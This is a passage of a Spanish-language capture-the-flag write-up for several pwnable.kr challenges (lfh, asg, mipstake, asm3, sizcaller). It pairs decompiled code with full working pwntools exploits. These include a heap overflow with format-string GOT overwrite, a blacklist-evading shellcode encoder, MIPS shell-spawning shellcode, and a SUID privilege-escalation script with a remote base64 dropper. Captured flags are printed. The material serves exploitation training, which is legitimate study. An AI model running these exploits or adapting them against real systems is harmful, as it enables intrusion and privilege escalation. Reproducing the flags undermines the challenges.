bk->next = new Bucket(chunk_class, this->security_mode); // <----
Hay que tener en cuenta que al usar is_unicode en realidad se reservan dos “Books” por lo que antes de insertar el malicioso necesitamos dos espacios adicionales en lugar de 1.
La cadena de llamadas consiste en usar printf con una cadena de formato para escribir parcialmente la dirección de system en la entrada de la GOT de realpath. Esta última se invoca teniendo como argumento el nombre del archivo:
printf("%d books in %s file were successfully parsed\n", books->n_total, realpath(argv[1], 0));
Esto funciona pero su probabilidad de éxito ronda el 5%, esperaba que fuese alrededor de (47/48)**4 * 100 ~= 91%, pero parece comportarse como si un factor 50-50 se introdujese al final. Debe ser que la diferencia de la direcciones entre printf y realpath. Dado que escribimos sus dos últimos bytes, pero aún queda un nibble:
1
2
3
4
readelf -a libc.so.6| grep -E "realpath| printf"
600: 000000000005 14e0 70 FUNC GLOBAL DEFAULT 15 realpath@@GLIBC_2.3
2922: 000000000006 06f0 204 FUNC GLOBAL DEFAULT 15 printf@@GLIBC_2.2.5
-
Ese nibble debe ser igual y tiene una probabilidad de 1/16 de serlo debido al ASLR. Entonces queda (47/48)**4 * 1/16 *100 ~= 5%.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
elf = context.binary = ELF("./lfh")
libc = ELF("libc.so.6")
class Book:
TITLE_LEN = 32
ABSTRACT_LEN = 256
MAX_CONTENT_LEN = 0x1000
def __init__(self, title, abstract, content_len, content, is_unicode):
assert len(title) < self.TITLE_LEN
assert len(abstract) < self.ABSTRACT_LEN
assert len(content) <= self.MAX_CONTENT_LEN
if is_unicode:
assert len(content) % 2 == 0
self.title = title
self.abstract = abstract
self.content = content
self.content_length = content_len
self.is_unicode = is_unicode
def build(self, io):
io.write(
self.title.ljust(self.TITLE_LEN, b"\x00") +
self.abstract.ljust(self.ABSTRACT_LEN, b"\x00") +
p64(0) + p32(self.content_length) +
p32(self.is_unicode) + p64(0) * 2 + self.content
)
class BookFile:
SIGNATURE = b"BOOK"
def __init__(self, books):
self.books = books
def build(self, io):
io.write(self.SIGNATURE)
for book in self.books:
book.build(io)
BUCKET_SIZE = 0x4000
SIZEOF_BOOK = 0x140
CHUNK_CLASS = SIZEOF_BOOK + 0x10
N_TOTAL_CHUNK = BUCKET_SIZE // CHUNK_CLASS
def call(addr, arg):
books = [ Book(title=b"", abstract=b"", content_len=1, content=b"\x00", is_unicode=False) for _ in range(N_TOTAL_CHUNK - 2) ]
# last two chunks: one normal book, one overflow
# allocate one book
payload = b""
payload += b"." * CHUNK_CLASS
payload += arg
payload += b"." * (Book.TITLE_LEN + Book.ABSTRACT_LEN - len(arg))
payload += p64(addr)
payload = payload.ljust(2 * SIZEOF_BOOK, b"\x00")
books.append(
Book(
title=b"pwned!",
abstract=b"",
content_len=SIZEOF_BOOK,
content=payload,
is_unicode=True, # Trigger overflow and overwrite book fptr with `printf(format_string)`
)
)
return books
# Vulnerability: When is_unicode field is set, it causes an overflow in the current Bucket memory
# Strategy: Replace realpath with system (using 2 bytes partial ovewrite of the GOT entry via printf's FSB)
# Must: SECURE_HEAP must be enabled
FILENAME="eoeo;sh"
PRINTF = elf.sym['printf']
SYSTEM = libc.sym['system']
REALPATH_GOT = elf.got['realpath']
# offset 6 points to ENV in the stack (specifically argv[0])
# offset 71 is the stack address holding argv[0]
# writes are done en reverse, because linked list is traversed in reverse
books = []
books += call(PRINTF, b"."*((SYSTEM >> 8) & 0xFF) + "%71$hhn\n\x00".encode())
books += call(PRINTF, f"%0{REALPATH_GOT+1}x%6$lln\n\x00".encode())
books += call(PRINTF, b"."*(SYSTEM & 0xFF) + "%71$hhn\n\x00".encode())
books += call(PRINTF, f"%0{REALPATH_GOT}x%6$lln\n\x00".encode())
book_file = BookFile(books)
with open(FILENAME, "wb") as f:
book_file.build(f)
shell = ssh("lfh","pwnable.kr",2222,"guest")
shell.set_working_directory()
shell.upload_file(FILENAME)
# try a couple of times
for _ in range(20):
r = shell.connect_remote("0.0.0.0", 9040)
r.sendlineafter(b"your book file path please :", f"{shell.cwd}/{FILENAME}".encode())
r.sendlineafter(b"your mode please :", b"1")
r.sendlineafter(b"continue?(y/n)", b"y")
r.recvuntil(b"terminating the program")
try:
r.recvuntil(b"eoeo: not found")
except:
log.failure("Failure (crash)")
r.close()
continue
log.success("Success!")
r.interactive()
break
Th4nks_to_N0n_d3terMin1sTic_HeaP
asg
El programa espera que escribamos shellcode de hasta 1000 bytes para que hagamos un open-read-write a un archivo flag generado dinámicamente. La particularidad está en un filtro que usa Fisher-Yates para seleccionar 128 bytes que conformarán una lista negra:
void main(void)
{
int var;
char *file_name_len;
size_t len;
ssize_t sc_size;
long in_FS_OFFSET;
uint local_d0;
int sc_idx;
int f_idx;
int local_c4;
int offset;
int local_bc;
FILE *FILE;
undefined8 sc_buf;
char flag_file_name [136];
undefined8 local_20;
local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("Welcome to Automatic Shellcode Generation ( ASG) challenge");
puts("your mission is making an arbitrary-file-readin g shellcode");
puts("but, can you make this with randomly given set of bytes?");
sleep(5);
getchar();
local_c4 = open("/dev/urandom",0);
read(local_c4,&local_d0,4);
srand(local_d0);
for (sc_idx = 0; sc_idx < 0x100; sc_idx = sc_idx + 1) {
filter[sc_idx] = (char)sc_idx;
}
shuffle(filter,0x100);
puts("these are filtered set of bytes:");
write(1,filter,0x80);
FILE = popen("./genflag","r");
if (FILE != (FILE *)0x0) {
file_name_len = fgets(flag_file_name,0x80,FILE);
if (file_name_len != (char *)0x0) {
len = strlen(flag_file_name);
flag_file_name[len - 1] = '\0';
printf("flag is inside this file: [%s]\n",flag_file_name );
sc_buf = (code *)mmap((void *)0x0,0x1000,7,0x22, 0,0);
memset(sc_buf,0x90,0x1000);
len = strlen(stub);
memcpy(sc_buf,stub,len);
len = strlen(stub);
var = rand();
offset = var % 100 + (int)len;
printf("give me your shellcode: ");
sc_size = read(0,sc_buf + offset,1000);
local_bc = (int)sc_size;
for (sc_idx = 0; sc_idx < local_bc; sc_idx = sc_idx + 1) {
for (f_idx = 0; f_idx < 0x80; f_idx = f_idx + 1) {
if (sc_buf[sc_idx + offset] == (code)filter[f_idx]) {
puts("caught by filter!");
/* WARNING: Subroutine does not return * /
exit(0);
}
}
}
sleep(10);
alarm(10);
var = shutdown(0,0);
if (var != 0) {
puts("shutdown error");
/* WARNING: Subroutine does not return * /
exit(0);
}
var = chroot("/home/asg_pwn");
if (var != 0) {
puts("chroot error");
/* WARNING: Subroutine does not return * /
exit(0);
}
puts("buena suerte!");
sandbox();
rand();
(*sc_buf)();
return;
}
}
puts("challenge broken. tell admin");
/* WARNING: Subroutine does not return * /
exit(0);
}
Nuestro shellcode es insertado a un offset aleatorio entre 0 y 99 bytes, pero igual este espacio es llenado con NOPs antes. El stub limpia todos los registros (excepto RSP)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> from pwn import *
>>> context.bits=64
>>> context.arch="amd64"
>>> print(disasm(b'H1\xc0H1\xdbH1\xc9H1\xd2H1\xf6H1\xffH1\xedM1\xc0M1\xc9M1\xd\
2M1\xdbM1\xe4M1\xedM1\xf6M1\xff\x00'))
0: 48 31 c0 xor rax, rax
3: 48 31 db xor rbx, rbx
6: 48 31 c9 xor rcx, rcx
9: 48 31 d2 xor rdx, rdx
c: 48 31 f6 xor rsi, rsi
f: 48 31 ff xor rdi, rdi
12: 48 31 ed xor rbp, rbp
15: 4d 31 c0 xor r8, r8
18: 4d 31 c9 xor r9, r9
1b: 4d 31 d2 xor r10, r10
1e: 4d 31 db xor r11, r11
21: 4d 31 e4 xor r12, r12
24: 4d 31 ed xor r13, r13
27: 4d 31 f6 xor r14, r14
2a: 4d 31 ff xor r15, r15
La idea para resolver esto es usar un encoder cuyo stub tenga pocos bytes y pasar el resto del codigo codificado, usando valores de la lista blanca. Algunas ideas de instrucciones para conformar el stub de este encoder pueden ser subl $val, offset(%rip), addl $val, offset(%rip) y xorl $val, offset(%rip). Los métodos que intenté para poner la flag en el stack generaban un shellcode demasiado largo, al final opté por localizar la ya existente en el stack. Un buen reto, este definitivamente es más difícil que sus compañeros “ascii”y “asm3”.
Nota: El exploit que usé tiene una falla y es que el encoder tiene algún problema lógico que produce a veces bytecode malo. Las probabilidades de que se ejecute correctamente todo son del 1% aproximadamente.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# pretty low chances to win but it does
from pwn import *
#elf = context.binary = ELF("asg_patched")
elf = context.binary = ELF("/home/asg/asg")
if args.REMOTE:
r = remote("0.0.0.0",9025)
else:
r = process("./asg_p")
def encoder(payload, bl):
payload_size = len(payload)
assert payload_size % 4 == 0, r.warn("Shellcode must be a multiple of 4")
rip_offset = 10*((payload_size // 4)-1)
print(hex(rip_offset))
critical_bytes = [0x81, 0x35, rip_offset & 0xff, rip_offset >> 8, 0x00, 0x90]
r.info(f"Shellcode size: 0x{payload_size:02x}")
for crit in critical_bytes:
if crit in bl:
r.warn(f"Encoder byte {hex(crit)} blacklisted, try again.")
exit(1)
r.success("Encoder bytes are whitelisted.")
stub = b""
encoded_sc = b""
wl_bytes = b""
# Encode code
for idx in range(len(payload)):
val_found = False
for val in range(256):
# val cant be blacklisted
if val in bl:
continue
# encode cant be blacklisted
if (payload[idx] ^ val) in bl:
continue
# encode this
wl_bytes += bytes([val])
encoded_sc += bytes([payload[idx] ^ val])
# break loop
val_found = True
break
# check that its not impossible
if not val_found:
r.warn("value not found for encoding")
exit(1)
# load chunk and align
if (idx+1) % 4 == 0 and idx != 0:
stub += b"\x81\x35" + bytes([rip_offset & 0xff, rip_offset >> 8]) + b"\x00\x00" + wl_bytes
encoded_sc += b"\x90" * 6 # padding nops
wl_bytes = b""
# return stub + encoded bytes
final_sc = stub + encoded_sc
final_sc_sz = len(final_sc)
assert final_sc_sz <= 1000, r.warn(f"Shellcode too long: {final_sc_sz} bytes")
return final_sc
# ---- Exploit ----
r.send(b"x")
r.recvuntil(b"set of bytes:")
blacklist = r.recv(0x80)
#r.info("Blacklist: " + binascii.hexlify(blacklist,sep=',').decode())
r.recvuntil(b"this file: ");
flag_filename = r.recvline().strip()[1:-1]
r.info(f"flag file: {flag_filename}")
### find the flag location in the stack
## stack top
# mov rsi, rsp
find_sc = b"H\x89\xe6\x90"
## anchor 'flagbox/'
find_sc += b"\x66\xb8\x78\x2f" # mov ax, 0x782f
find_sc += b"H\xc1\xe0\x10" # shl rax, 16
find_sc += b"\x66\x0d\x62\x6f" # or ax, 0x626f
find_sc += b"H\xc1\xe0\x10"
find_sc += b"\x66\x0d\x61\x67" # or ax, 0x6167
find_sc += b"H\xc1\xe0\x10"
find_sc += b"\x66\x0d\x66\x6c" # or ax, 0x666c
## tag: loop
# cmp [rsi], rax
find_sc += b"H9\x06\x90"
# je end (je + 22)
find_sc += b"t\x14\x90\x90"
# sub rsi, 8
find_sc += b"H\x83\xee\x08"
# pop rsi
#find_sc += b"^\x90\x90\x90"
# jmp loop (jmp - 30)
find_sc += b"\xeb\xe0\x90\x90"
## tag: end
# mov rdi, rsi; xor rsi, rsi; xor rax, rax; mov al, 2; syscall
open_sc = b"H\x89\xf7\x90" + b"H1\xc0\x90" + b"H1\xf6\x90" + b"\xb0\x02\x0f\x05"
# push rax ; pop rdi ; mov dl, 136 ; xor rax, rax ; mov rsi, rsp ; syscall
read_sc = b"P_\xb2\x88" + b"H1\xc0\x90" + b"H\x89\xe6\x90" + b"\x0f\x05\x90\x90"
# xor rax, rax ; inc rax; push rax ; pop rdi ; mov rsi, rsp ; syscall
# ! rdx is already 136
write_sc = b"H1\xc0\x90" + b"H\xff\xc0P" + b"_H\x89\xe6" + b"\x0f\x05\x90\x90"
shellcode = find_sc + open_sc + read_sc + write_sc
r.info("Shellcode: " + binascii.hexlify(shellcode).decode())
encoded_sc = encoder(shellcode, blacklist)
r.info("Encoded shellcode: " + binascii.hexlify(encoded_sc).decode())
r.info(f"Encoded shellcode size: 0x{len(encoded_sc):02x}")
pause()
r.sendafter(b"your shellcode: ", encoded_sc)
r.interactive()
M4nu4lly_m4k1ing_sh31lc0de_is_m0re_fuN
hunter
mipstake
1
2
3
4
5
6
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Encontré el disco y el kernel para el entorno en este repositorio. gdbserver me dio problemas para depurar así que usé una imagen de disco y coredumps generados y los copié a mi máquina:
1
2
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -hdb shared.img -append "root=/dev/sda1 console=ttyS0" -net nic -net user,hostfwd=tcp:0.0.0.0:9033-:9033 -nographic -monitor none
$ mount -o loop /dev/sdb /mnt/shared ; echo "/mnt/shared/core.%p" > /proc/sys/kernel/core_pattern ;ulimit -c unlimited
El programa es un servidor que lee entrada de usuario y nada más:
undefined4 main(void)
{
uint __seed;
int __fd;
undefined4 uVar1;
int client_sc;
__pid_t pid;
sockaddr sc_struct;
__seed = time((time_t *)0x0);
srand(__seed);
map_fixed_rw_region();
memset(&sc_struct,0,0x10);
sc_struct.sa_family = 2;
sc_struct.sa_data._0_2_ = htons(9033);
sc_struct.sa_data[2] = '\0';
sc_struct.sa_data[3] = '\0';
sc_struct.sa_data[4] = '\0';
sc_struct.sa_data[5] = '\0';
__fd = socket(2,2,0);
client_sc = bind(__fd,&sc_struct,0x10);
if (client_sc < 0) {
puts("bind error");
uVar1 = 0;
}
else {
listen(__fd,5);
while( true ) {
puts("no need to brute-force..");
sleep(1);
puts("listening...");
client_sc = accept(__fd,(sockaddr *)0x0,(socklen_t * )0x0);
if (client_sc < 0) break;
printf("got client %d\n",client_sc);
pid = fork();
if (pid == 0) {
alarm(60);
handle_client_2(client_sc);
printf("client %d exit normally\n",client_sc);
return 0;
}
client_sc = rand();
client_sc = (client_sc * 0x12341234) % 0x62b5;
if (3 < client_sc) {
printf("close %d\n",client_sc);
close(client_sc);
}
}
perror("[X] accept");
uVar1 = 0xffffffff;
}
return uVar1;
}
Con un buffer overflow aquí:
void handle_client_2(undefined4 client_sc)
{
undefined buf [16];
handle_client_3(client_sc,buf,0x2000);
return;
}
void handle_client_3(int client_sc,int buffer,uint max_si ze)
{
ssize_t num;
uint idx;
idx = 0;
while( true ) {
num = recv(client_sc,(void *)(buffer + idx),1,0);
if (num != 1) {
return;
}
if (*(char *)(buffer + idx) == '\n') break;
idx = idx + 1;
if (max_size <= idx) {
return;
}
}
return;
}
El programa no tiene protecciones, así que lo más lógico es hacer un ret2shellcode, pero los gadgets no son muy útiles para resolver direcciones del stack. Conocemos la dirección de una dirección RW que el programa mapea:
void map_fixed_rw_region(void)
{
mmap((void *)0x66666000,0x2000,3,0x802,0,0);
return;
}
Podemos insertar nuestro shellcode ahí. A pesar de que parece de sólo lectura, en procesadores MIPS viejos no existía algo como el bit NX.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
elf = context.binary = ELF("/home/mipstake/mipstake")
#elf = context.binary = ELF("./mipstake")
io = remote("0",9033)
# Stage 1: Store shellcode in the mmaped area
# returning to 0x0040095c gives us a write-what-where
# $a1 = client_socket
# $a2 = controlled address (fp, s8)
# $a3 = size (0x2000)
# Stage 2: Return to shellcode
# $ra ends pointing to 0x66666000 + 0x18
# the client socket is stored in $a0, we need to duplicate the fds in order to get a shell
# $sp ends pointing to 0x66666000 too, the shellcode needs to use -offset($sp), we need to change the position to avoid a SEGFAULT
padding = b"A"*16 + p32(0x66666000-0x18) # fp
payload = padding
payload += p32(0x0040095c)
#payload += p32(0x41414141)
#payload2 = p32(0x66666000 + 0x18) * (0x18//4)
#payload2 += asm("addiu $sp, $sp, 0x600")
#payload2 += asm(shellcraft.dupsh(sock='$a0'))
payload2 = b"ff`\x18ff`\x18ff`\x18ff`\x18ff`\x18ff`\x18'\xbd\x06\x00$\x19\xff\xfd\x03 \x10'\xaf\xa2\xff\xfc\x8f\xa5\xff\xfc4\x02\x0f\xdf\x01\x01\x01\x0c\x1c@\xff\xfb B\xff\xff<\t//5)bi\xaf\xa9\xff\xf4<\tn/5)sh\xaf\xa9\xff\xf8\xaf\xa0\xff\xfc'\xbd\xff\xf4\x03\xa0 <\x19\x8c\x9779\xff\xff\x03 H'\xaf\xa9\xff\xfc'\xbd\xff\xfc(\x05\xff\xff\xaf\xa5\xff\xfc#\xbd\xff\xfc$\x19\xff\xfb\x03 ('\x03\xa5( \xaf\xa5\xff\xfc#\xbd\xff\xfc\x03\xa0( \xaf\xa0\xff\xfc'\xbd\xff\xfc(\x06\xff\xff\xaf\xa6\xff\xfc#\xbd\xff\xfc\x03\xa00 4\x02\x0f\xab\x01\x01\x01\x0c"
sleep(0.5)
io.sendline(payload)
sleep(0.5)
io.sendline(payload2)
print(payload2)
# win
io.interactive()
D0_You_Want_R4re_or_WellDon3?
asm3
undefined4 main(void)
{
uint exit_code;
__pid_t __pid;
time_t seed;
code *__buf;
ssize_t sVar1;
uint val_expected;
undefined4 uVar2;
long in_FS_OFFSET;
uint status;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
seed = time((time_t *)0x0);
srand((uint)seed);
setup_scrambled_protected_pages();
__printf_chk(1,"Input your shellcode (%d bytes max):\ n",0x1000);
fflush(stdout);
__buf = (code *)mmap((void *)0x0,0x1000,7,0x22,-1, 0);
if (__buf == (code *)0xffffffffffffffff) {
perror("mmap shellcode");
/* WARNING: Subroutine does not return * /
exit(1);
}
sVar1 = read(0,__buf,0x1000);
if (sVar1 < 1) {
fwrite("Failed to read shellcode\n",1,0x19,stderr);
/* WARNING: Subroutine does not return * /
exit(1);
}
val_expected = 0;
do {
__pid = fork();
if (__pid == 0) {
set_SIGSEGV_handler();
sandbox();
DAT_00104060 = 0;
(*__buf)(&DAT_00104080,val_expected);
/* WARNING: Subroutine does not return * /
_exit(0xff);
}
waitpid(__pid,(int *)&status,0);
if (('\x01' < (char)(((byte)status & 0x7f) + 1)) || ((stat us & 0x7f) != 0)) {
/* END BY SIGNAL */
write(1,"Failure (crash).\n",0x11);
LAB_00101438:
uVar2 = 1;
goto LAB_0010143e;
}
exit_code = status >> 8 & 0xff;
if (99 < exit_code) {
/* END BY EXIT CODE HIGHER
*/
write(1,"Failure (invalid exit).\n",0x18);
goto LAB_00101438;
}
mprotect((void *)(&DAT_00104080)[(int)exit_code], 0x1000,1);
if (val_expected != *(byte *)(&DAT_00104080)[(int)e xit_code]) {
write(1,"Failure (wrong result).\n",0x19);
goto LAB_00101438;
}
val_expected = val_expected + 1;
} while (val_expected != 100);
write(1,"Success!\n",9);
write(1,"flag: this_is_test_flag_get_real_one\n",0x25);
uVar2 = 0;
LAB_0010143e:
if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar2;
}
/* WARNING: Subroutine does not return * /
__stack_chk_fail();
}
void setup_scrambled_protected_pages(void)
{
undefined uVar1;
int r;
long i;
undefined *ptr;
undefined *j;
long in_FS_OFFSET;
undefined array [104];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
i = 0;
do {
array[i] = (char)i;
i = i + 1;
} while (i != 100);
ptr = array + 99;
do {
r = rand();
j = ptr + -1;
r = r % ((100 - (int)(array + 99)) + (int)ptr);
uVar1 = *ptr;
*ptr = array[r];
array[r] = uVar1;
ptr = j;
} while (j != array);
i = 0;
do {
ptr = (undefined *)mmap((void *)0x0,0x1000,3,0x22 ,-1,0);
(&DAT_00104080)[i] = ptr;
if (ptr == (undefined *)0xffffffffffffffff) {
perror("mmap");
/* WARNING: Subroutine does not return * /
exit(1);
}
j = array + i;
i = i + 1;
*ptr = *j;
mprotect(ptr,0x1000,0);
} while (i != 100);
if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return * /
__stack_chk_fail();
}
void sandbox(void)
{
undefined8 uVar1;
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1,0x7fff0000,0,0);
seccomp_rule_add(uVar1,0x7fff0000,1,0);
seccomp_rule_add(uVar1,0x7fff0000,0x3c,0);
seccomp_rule_add(uVar1,0x7fff0000,5,0);
seccomp_rule_add(uVar1,0x7fff0000,0xa,0);
seccomp_rule_add(uVar1,0x7fff0000,9,0);
seccomp_rule_add(uVar1,0x7fff0000,0xb,0);
seccomp_rule_add(uVar1,0x7fff0000,0xffffd8b6,0);
seccomp_rule_add(uVar1,0x7fff0000,0xf,0);
seccomp_rule_add(uVar1,0x7fff0000,0x83,0);
seccomp_rule_add(uVar1,0x7fff0000,0xffffd8ba,0);
seccomp_rule_add(uVar1,0x7fff0000,0xd,0);
seccomp_load(uVar1);
return;
}
El programa crea un array con enteros del 0-99 y los desorganiza usando Fisher-Yates. Luego mmapea 100 regiones y almacena en cada una un byte correspondiente con el valor en el array.
El objetivo del shellcode, es, dados la dirección de un arreglo de punteros a las regiones mmapeadas y un valor, devolver como exit-code la dirección de la región que posee ese valor. El programa también cuenta con seccomp, limitando las syscalls que se pueden realizar a:
1
2
3
4
5
6
7
8
9
10
0 → read
1 → write
5 → fstat
9 → mmap
10 → mprotect
11 → munmap
13 → rt_sigaction
15 → rt_sigreturn
0x3c (60) → exit
0x83 (131) → sigaltstack
El shellcode debe iterar sobre las regiones, revisando su valor y devolviendo la dirección que coincida con el valor esperado. En adición, ya que las regiones fueron mapeadas con PROT_NONE, debe usar mprotect para cambiar sus permisos por lo menos a PROT_READ:
BITS 64
; rdi -> ptr_array
; esi -> val
_start:
; save values
mov r8, rdi
mov r9d, esi
xor r12, r12 ; idx
_loop:
; mprotect(addr, 1024, PROT_READ)
mov r10, [r8 + r12*8]
mov rdi, r10
mov rsi, 4096
mov rdx, 1
mov rax, 10
syscall
; read byte and compare
mov al, byte [r10] ; found
cmp al, r9b ; found == expected ?
je _end
inc r12
jmp _loop
_end:
; exit(idx)
mov rdi, r12
mov rax, 60
syscall
Nota: Según la documentación de la arquitectura luego de una syscall los registros RCX y R11 son usados para almacenar la instrucción luego de syscall y el registro RFLAGS respectivamente.
N1ce_aNd_Cle4ver_4lgor1thm
sizcaller
El programa invoca una syscall aleatoria con hasta 5 argumentos “aleatorios”. Los argumentos aleatorios generados en caso de ser impares son obligados a caer dentro del rango 0x10000-0x10fff.
En remoto el reto permite interactuar con la terminal, es un reto de escalada de privilegios. Dado que controlamos el programa en local podemos abusar de estas dos syscalls:
- SYS_creat
- SYS_fchmod
La idea es que SYS_creat cree un archivo con propietario sizcaller_pwn y que sea escribible para otros, sobreescribir este archivo con un programa malicioso (pierde SUID de tenerlo) y usar SYS_fchmod para recuperar el SUID y hacerlo ejecutable para otros.
Para hacer esto útimo se puede modificar el límite de descriptores de archivo que puede tener un programa hasta 0x11000 y duplicar los descriptores de archivos en el rango 0x10000-0x10ffff para apuntar al archivo creado. Luego usar un fork en dicho programa para invocar un hijo “sizcaller”. Es un proceso de fuerza bruta. El entorno tiene un intérprete de Python2.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import re
import os
import stat
import resource
import subprocess
import shutil
syscall_regex = "eax:([0-9]{1,3})"
def make_suid_again(f):
# dup file descriptors
with open(f, "ab") as file:
for fd in range(0x10000, 0x11000):
os.dup2(file.fileno(), fd)
while True:
p = subprocess.Popen(["./sizcaller"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False)
for _ in range(4):
p.stdout.readline()
line = p.stdout.readline().decode()
match = re.search(r"eax:(\d+)", line)
if match:
syscall = int(match.group(1))
if syscall == 94:
print("syscall SYS_fchmod")
p.stdin.write(b"daehee\n")
p.stdin.flush()
p.wait()
st = os.stat(f)
if st.st_mode & stat.S_ISUID and st.st_mode & stat.S_IXOTH:
print("file SUID and executable for OTH")
p.wait()
os.closerange(0x10000,0x11000)
#subprocess.call(["./" + f, "-p"])
subprocess.call(["./" + f, "-p", "-c", "cat /home/sizcaller/flag"])
break
try: p.kill()
except: pass
try: p.wait()
except: pass
os.umask(0)
_, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
resource.setrlimit(resource.RLIMIT_NOFILE, (0x11000, hard))
current_files = set(os.listdir("."))
while True:
p = subprocess.Popen(["./sizcaller"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
for _ in range(4):
p.stdout.readline()
line = p.stdout.readline().decode()
match = re.search(r"eax:(\d+)", line)
if match:
syscall = int(match.group(1))
if syscall == 8:
print("syscall SYS_creat")
p.stdin.write(b"daehee\n")
p.stdin.flush()
new_files = set(os.listdir("."))
nf_set = new_files - current_files
if nf_set:
new_file = nf_set.pop()
nf_stat = os.stat(new_file)
if nf_stat.st_mode & stat.S_IWOTH:
print("file writable for OTH, overwritting with shell")
# sometimes it fails dont know why
shutil.copyfile("/bin/bash", new_file)
p.kill()
p.wait()
make_suid_again(new_file)
break
p.kill()
p.wait()
Dropper:
1
2
3
4
5
6
7
8
9
10
from pwn import *
r = remote("pwnable.kr",9047)
with open("sizcaller_exploit.py", "rb") as f:
exploit_b64 = base64.b64encode(f.read())
r.sendline(b"echo " + exploit_b64 + b" > exp.b64 && base64 -d exp.b64 > exp.py")
r.sendline(b"python exp.py")
# if it didn't work, try again
r.interactive()
Never_m3ssup_w1th_SysTem_C4lls



















